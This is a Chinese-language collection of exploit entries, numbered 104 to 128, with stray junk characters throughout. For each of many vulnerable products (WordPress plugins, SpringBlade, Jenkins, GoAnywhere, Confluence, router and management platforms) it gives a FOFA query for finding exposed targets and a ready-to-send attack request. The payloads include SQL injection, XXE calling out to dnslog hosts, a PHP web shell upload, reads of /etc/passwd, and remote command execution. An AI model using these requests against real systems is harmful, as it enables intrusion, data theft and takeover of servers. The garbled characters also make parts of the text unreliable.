" o$ `9 h2 ~( r. l$ I8 m7 d/ _4 ]User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
$ B  c' s' Z( c. DConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
: g) T, s! I  J/ gAccept-Encoding: gzip
  _8 X; o8 c+ p- z; m  k) j& }
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
- j4 l) Z% l, [9 }" q1 ~% m
5 \8 b: z# c* |$ a1 D. ?
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
  n! t! d4 L9 `. S3 \1 t<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
9 U. @0 }9 k& e& v
6 G: K) k! L, J, ~
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
2 Z5 S: s/ B* Q' RCVE-2024-0569
FOFA：title="TOTOLINK"
  l1 D8 E9 w+ B9 i' ~; I; {; X- qPOST /cgi-bin/cstecgi.cgi HTTP/1.1
. l8 L5 N) Z. U" c0 V) ]: H) THost:192.168.0.1
Content-Length:41
, y) `) I$ P' o$ u3 [& MAccept:application/json,text/javascript，*/*;q=0.01
* s3 A  I- h( G4 o! I% [0 fX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
" P& k3 J0 \# t3 |( S) P0 m1 HAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
) l0 E- _1 ]. c4 G7 [- UConnection:close
, R3 n: c: y0 u1 Z0 R! d
{
8 a4 P' Z. o5 M9 w/ P) e4 G8 @5 i"topicurl":"getSysStatusCfg",
! v5 c( q3 @6 }0 l" e1 O"token":""
' ?; c5 e; r; T; P6 J3 V; G}
4 @/ D& Y' D( x6 o# b2 w
: d# K- k8 _( z6 w# G! A$ i3 e105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
" S2 i/ [4 |& R, {' N9 ?& I+ R) Uhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

0 b4 ^; }& _" q8 U) R" l106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
8 m, f: M: D# U" P0 }+ mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& p: e! ]4 a- O/ l/ \3 C' x$ RBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
; x2 e/ m$ ]+ @. y0 z" ~1 r& QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
1 x  `4 ?4 Q" @; v. ?GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
! `3 Q7 [3 V7 a/ v+ fHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& O# c% I: F) {6 yBlade-Auth:替换为自己的
" o; j+ a: j. b$ M9 ~Connection: close
5 s; @" M& G  r9 ?9 N" v4 I

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
7 L$ x' _2 {# f0 AFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
/ E) D# [7 u  l5 |Host: your-ip
- ^$ q( v- V1 S/ _( ]. IAccept: application/json, text/plain, */*
+ `& e9 U1 L+ c" Y) s& rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
$ u  `$ u5 o) P/ K+ d2 PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
# ]' X6 D7 @9 G! X' g/ AConnection: close
( D3 Z0 ~8 {. O5 f

109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
; z% ^2 H( u! }' F! RSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
. @' E, m! o9 S" F2 ~" f8 q, XSide: upload
Connection: keep-alive
+ j- |. C  E9 ?* v! G4 vContent-Length: 163
( T7 ?3 D" G% G; Y9 [" N1 E" Y( i
  Y7 b/ ?) Z+ @" a' c6 ab'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
. ]% t' z6 t, p; U, v2 Q
& N8 l- t( b' {
, t8 w0 g  J1 X9 m# C) X) O) A. U% i8 SPOST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
+ C: t3 ^- S1 o% m  d0 Y$ j  t& {Content-Type: application/x-www-form-urlencoded
7 Q7 R$ ?* c6 `/ V% {0 RContent-Length: 0


7 D8 B2 f% R4 s0 x6 Y/ o8 tERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
9 u# b3 J7 e; o2 L[COMMAND]
( R( Y9 V& i# {, [0 [Lists all the available commands or a detailed description of single command.
! f5 W0 l) O2 w6 g$ @- L7 O COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

4 z: p: v5 H2 u' l; e
110. Goanywhere MFT 未授权创建管理员
6 b- E# f9 l( \; V* MCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
1 F& G' }, g0 c5 [9 G  U4 o$ sHost: 192.168.40.130:8000
4 y. m) y# i+ }User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
. J3 _- C/ `! n' `# A* AConnection: close
0 W0 G3 @6 m  `6 l) oAccept: */*
! J: K% {3 Q2 \5 }: G4 y+ l/ j) f$ ~Accept-Language: en
+ h% }0 F9 G0 G( l- |Accept-Encoding: gzip
& P# H$ T9 l& s
- K# A. g6 Z* }3 o6 [) f2 p
- N6 y& ]8 c: A  ]3 P111. WordPress Plugin HTML5 Video Player SQL注入
( e) q- ^: s) j5 dCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
! G6 ^7 O0 b  A1 mGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
1 t& T; o. C4 y  i. D! y0 NHost: 192.168.40.130:112
8 D# j7 @* G! ]# S6 F3 OUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
5 T1 |5 ?3 c0 k2 }9 k1 aConnection: close
Accept: */*
Accept-Language: en
2 |( D: ~  l& zAccept-Encoding: gzip
! h1 X, ]$ I8 N! W2 \/ Z0 [
: ^) F, q; v9 a4 u* h
112. WordPress Plugin NotificationX SQL 注入
4 [/ I0 r& V$ t/ r7 fCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
4 ?2 C- T) v7 f* M3 U6 EPOST /wp-json/notificationx/v1/analytics HTTP/1.1
8 B) f5 _/ e2 k" iHost: {{Hostname}}
1 m  S# @" J0 c$ P5 g  zContent-Type: application/json

9 c) q& B8 B' Y( K0 K{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
. g  T* u; ~8 D8 `: ]3 B9 I

113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
+ w" m; T$ `' p2 }6 |FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
+ w% o( a5 Z% L/ jUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
1 l  H6 w& M+ R: T& ]( u8 e  BAccept: */*
2 f- f; o; O! @+ j5 b& D6 h6 BAccept-Language: en
+ ]( O" T$ M# J! sAccept-Encoding: gzip

7 n. S2 x; E$ r9 n
( s7 W$ I* v4 Y: |114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
: f1 M) D. l) H+ |# l4 @# iUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
" l& n9 _7 D- D; ^: NAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
0 P$ X5 N9 ]# |6 L/ ~# r

115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
- I4 W2 w' X9 Y6 B/ HFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
  Z6 V$ o4 M: j9 V: V' m1 g$ n7 k7 y0 {GET / HTTP/1.1
, e4 G% Z1 r" r( U" Z$ @2 D4 YHost: x.x.x.x
# Q" p2 d& ^/ S, ^9 _User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
% M- m# m8 d; M) JConnection: close
, G8 w3 a! ?" Q# V& @0 IAccept-Encoding: gzip
" R: y3 I' W9 M7 U1 `. r
3 n, U; H8 \! _, G" ~2 b' H
( I3 }2 x* G5 I第二步替换nonce值，执行命令
2 B3 \0 E- {$ N# H4 \. {! JPOST /wp-json/bricks/v1/render_element HTTP/1.1
$ V3 R2 ^" m1 B0 W7 lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
' Y3 g0 l1 v' U" y' ?( ^0 |Connection: close
! `( d: t( D- @' F) X: |Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
. C& ~5 ^7 e9 X  D
{
8 m6 D% w, l) C( Q, U6 v) _* \"postId": "1",
" Y2 T4 q. D: F) E) _/ y: k  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
    "settings": {
4 {  n* ?* @" @7 B' f. Q      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
7 J. m) g& c2 n0 H        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
$ N) L+ N" E* |8 n; j+ a: m  }
}
4 \+ }* f* @7 n2 j# c5 O% P
3 m6 K/ c$ D& j6 {) k# ]4 O
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
% K5 D) G, e) n4 s' t1 IPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
; ]2 l  ^! j0 j+ c% h2 {' FHost:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
  ^+ _  U; g4 K3 V% r
' ]3 I( {* p7 E; A----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
+ V2 Q% M/ z( |3 w# M% {----------767099171
. p; ?" u+ d( x: c) ^# q7 C: EContent-Disposition: form-data; name="form_request"
jssupportticket
% \) p( p  x% v: @+ i----------767099171
9 H2 N! Z! _! d5 `, T) ~Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
3 R- A, @5 f" x  S8 \# q2 R----------767099171--
) O: Y* M5 @' v/ E  a/ w
+ ?; h4 n: W- r, V3 [" s
117. WordPress LayerSlider插件SQL注入
# g3 h/ O# I3 o5 b! B! ]7 Dversion：7.9.11 – 7.10.0
. n4 `  H( u/ I3 r0 sFOFA：body="/wp-content/plugins/LayerSlider/"
0 Q7 y8 C, H% Y9 m" @: HGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
4 P; ]% K, |7 g# R2 S- s; H$ C/ ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 p( }3 @8 Y! O/ Q, AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) g/ f7 _3 u- d, r( s+ |  k7 CAccept-Encoding: gzip, deflate, br
6 N- r; s6 F' a5 c2 G2 HConnection: close
- T' f2 H, D  I" CUpgrade-Insecure-Requests: 1
% v+ N: M2 n% b7 n0 ]) {
1 ^7 D. j2 ~& j: t& T2 h. W  n
: w* ?& V8 z4 R4 D118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
" B6 M  s) X5 ZCVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
( D& v+ K# ~" D6 M+ I6 Q/ I: K+ E0 FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ R$ c0 N: T$ `  g2 P* FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
$ u7 V9 l5 a& oContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
* _$ L8 G  i* E" J3 A& u& @+ hContent-Length: 405
4 O; t9 M4 w7 k, i1 r" rOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
$ V0 @6 f7 o3 dUpgrade-Insecure-Requests: 1
' `/ P# |  h- d5 tSec-Fetch-Dest: document
/ b5 \  n1 R# g8 J1 q8 sSec-Fetch-Mode: navigate
: V: @, E( S4 J2 u9 E& d: k7 ~Sec-Fetch-Site: same-origin
0 e; e+ @; r1 {2 x( W# X* Q: \Sec-Fetch-User: ?1
9 V- C# ^# f. W, @5 ~/ nTe: trailers
( D. t/ i( g/ ]9 AConnection: close

-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
! M8 J6 n5 k, y$ c% I" WContent-Type: application/octet-stream

: U2 Q) k# ?7 |5 {<?php
system($_POST["passwd"]);
+ b  v/ j7 E9 w?>
) d/ y$ [$ ]4 ?# q7 \8 [-----------------------------13979701222747646634037182887
1 Q' X. o, s( d7 ~( ]1 c- Z- RContent-Disposition: form-data; name="txt_path"
, s8 J; z7 A. l6 l' O
/home/src.php
-----------------------------13979701222747646634037182887--
3 S" A) N+ l2 q8 o$ D

. o6 E+ j5 B, E* |3 m1 \( h# ^/ q访问/home/src.php

) h* w: R) _# q+ Z119. 北京百绰智能S20后台sysmanageajax.php sql注入
$ x9 A( i2 M: j% tCVE-2024-1254
" ^. T3 o; [9 a# a3 M4 I7 iFOFA：title="Smart管理平台"
* B. m+ v+ v" F$ [9 C9 @先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
# g1 t% g+ r8 _8 t- Q$ cHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
5 `. _( l4 O* l" S- O& vAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 S+ G1 B% t3 r  g8 uContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
3 F" ~: O0 }, K6 o! \7 iSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
: f+ E1 P5 i3 ^+ c( yConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
. H- B2 T+ z3 J: P/ g& x% i
- @7 [: A# a! Q% G& u6 C) U+ ~1 L( ~
6 D3 g4 f" ^4 I. u% B120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
8 g3 j, ?7 @5 p9 ?8 Z, cUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
: G2 X4 f* {7 J% S0 ^9 E, J' V! ^. g5 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- ]; p4 Y% t: Y9 I1 \9 G/ t- VAccept-Encoding: gzip, deflate
4 J; O- V5 a( o  w' t1 ]: tContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
5 u+ F' a0 v/ x8 g* dOrigin: https://ip:port
/ R" g& n6 k: ?6 E3 U; f; mReferer: https://ip:port/sysmanage/licence.php
" Y6 k7 `; z/ t& OUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
7 O+ d8 Q( n, ~1 |  K' rSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
3 m2 v* s0 V& W2 `* d4 }Connection: close
& `% k# u& {6 P! @
-----------------------------42328904123665875270630079328
7 b0 A# U! _$ d/ uContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

& j1 a) w' R+ v6 t) y' P5 j+ g<?php phpinfo()?>
( R. n) G: _% Z6 l& S-----------------------------42328904123665875270630079328
" ~1 ^* R0 {* E" T4 FContent-Disposition: form-data; name="id_type"

4 R; e/ p, w% a. j" X1
# {& Y" x+ l) M( n4 j! T! A0 R-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

5 C, O( B: q2 X& ?2 }- J, ?; Wimport
-----------------------------42328904123665875270630079328

' ~0 z+ u" s+ O6 [# K
" N  d  y3 |( t; g& D文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
3 r  Q4 ]# Q0 v$ {8 n9 VPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
2 [2 V0 I' @2 oCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
+ j1 d; [! B! ]& ^User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
9 v6 k0 I, z+ N9 h% C8 f' NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. d! O! I' h  M$ d7 EContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
4 n, }) Z$ T" s" XSec-Fetch-Dest: document
5 K" c& U, x9 ]! ISec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
/ r6 a' l- E1 B# L) o! c* f. DTe: trailers
Connection: close

-----------------------------42328904123665875270630079328
: s9 g  r6 j" X. c+ sContent-Disposition: form-data; name="web_img"; filename="1.php"
( K$ q/ c. ^9 e2 a; P2 c, u: kContent-Type: application/octet-stream

<?php phpinfo();?>
) N, \2 R" W$ L& H+ Q4 F2 y. S( x-----------------------------42328904123665875270630079328
9 T+ G, a$ `; l# V0 y/ yContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
$ p' s% ?% q) g7 [) y" ^
7 B7 F7 C7 l& U! }set
-----------------------------42328904123665875270630079328
6 X( j! n: e& ~$ A* r9 C+ _6 o$ d
/ k  R: M0 C# ]1 B' ^! g
boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
5 b" D, @- H6 OCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
3 m% P+ p4 q0 SHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
  |" S7 r9 X8 R% x4 a! dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 l- \. |6 z3 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% q$ Q2 v  i3 x- hAccept-Encoding: gzip, deflate, br
: n% A+ A% L1 E- Q( {Upgrade-Insecure-Requests: 1
2 Q* E1 Z* x3 m' [7 l( [9 uSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
4 }! A2 ~0 |! J; s1 l: R# a8 OSec-Fetch-User: ?1
Te: trailers
) R4 R, \8 \2 z  c& J& {8 ]Connection: close
( y' K/ z5 k  x# Q) ?

5 F$ o' {# Y2 h+ E; z123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
3 T. m* u6 s  fAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
$ L  R( q! s2 [8 C" h! w2 U8 I2 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
1 p) X0 c- P. C( D! S# V) k+ xConnection: close
' R5 |! H8 n6 ?! y% e' |Content-Type: application/x-www-form-urlencoded
8 c2 w9 i  r' H( f
* ]: v. s8 @, b  ]label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
& w7 q7 q0 l2 ~! Q2 Y
9 _& n* n1 [- p& r) h, d4 M
5 U9 x* g4 X6 L0 O5 O9 F124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
# o! H$ k! J" ?* j2 X; W( KPOST /Scripts/admintool?type=updatefile HTTP/1.1
9 d6 E; E3 P' o8 H' V* T% \8 `! ?Host: 192.168.40.130:8282
: G8 s3 T* K  J3 dUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
) M  n5 c# v& M; gContent-Length: 72
  g2 r& ^6 L. ?" C4 n. iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
0 [' U8 P7 p2 y" TAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& w; u0 G4 `5 L; {& g& h2 _- J) GConnection: close
Content-Type: application/x-www-form-urlencoded

8 D. `% x( w, V1 l/ U  sfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


http://192.168.40.130:8282/Scripts/abcgcg.aspx
0 _$ u+ v+ Y5 ^7 g' L: v$ N% ?( E
125. ConnectWise ScreenConnect身份验证绕过
3 P" q4 |2 g7 ^# m; F- k/ ^+ A0 yCVE-2024-1709
* X, D* h( [- j- ?. {8 z- u, wFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


7 V' y7 n* O* H使用方法
+ J8 {# h& d' o4 Epython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

4 a! ]2 Z& O& P. u
; Y) P* p) a6 a  L4 c创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
8 {+ O4 f9 t- p/ ^, w, B- _GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
8 [# w8 d7 B) w) B7 LAccept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
2 a3 E, @  L. ?8 |1 cHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
% z3 X, H$ V% A1 q: b, hContent-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, f5 V8 ?5 k; J0 Z5 ]: vConnection: close
9 H3 i8 W% `- f) w. j& l+ z! RContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
5 w' j* I2 u+ L& t" U+ zPurpose: prefetch
0 |0 z2 w& s' C% q! KSec-Purpose: prefetch;prerender
7 A5 L; _/ g. F2 R4 Y
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

* C) ^# J/ K% L* {. l8 sBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
2 |2 z+ K2 K! }Content-Type: text/plain
+ J1 D4 i4 U* C& \: O; t
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
% G3 w. b6 E. F. A<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
9 a7 C) H9 }" q' s]
>
<test>&t;</test>
, V3 `7 e! W% g: R/ J------WebKitFormBoundaryJGgV5l5ta05yAIe0--
% N* l7 _8 N2 u& K


7 k3 F$ K4 }! k' F$ a  |128. Adobe ColdFusion 反序列化
CVE-2023-38203
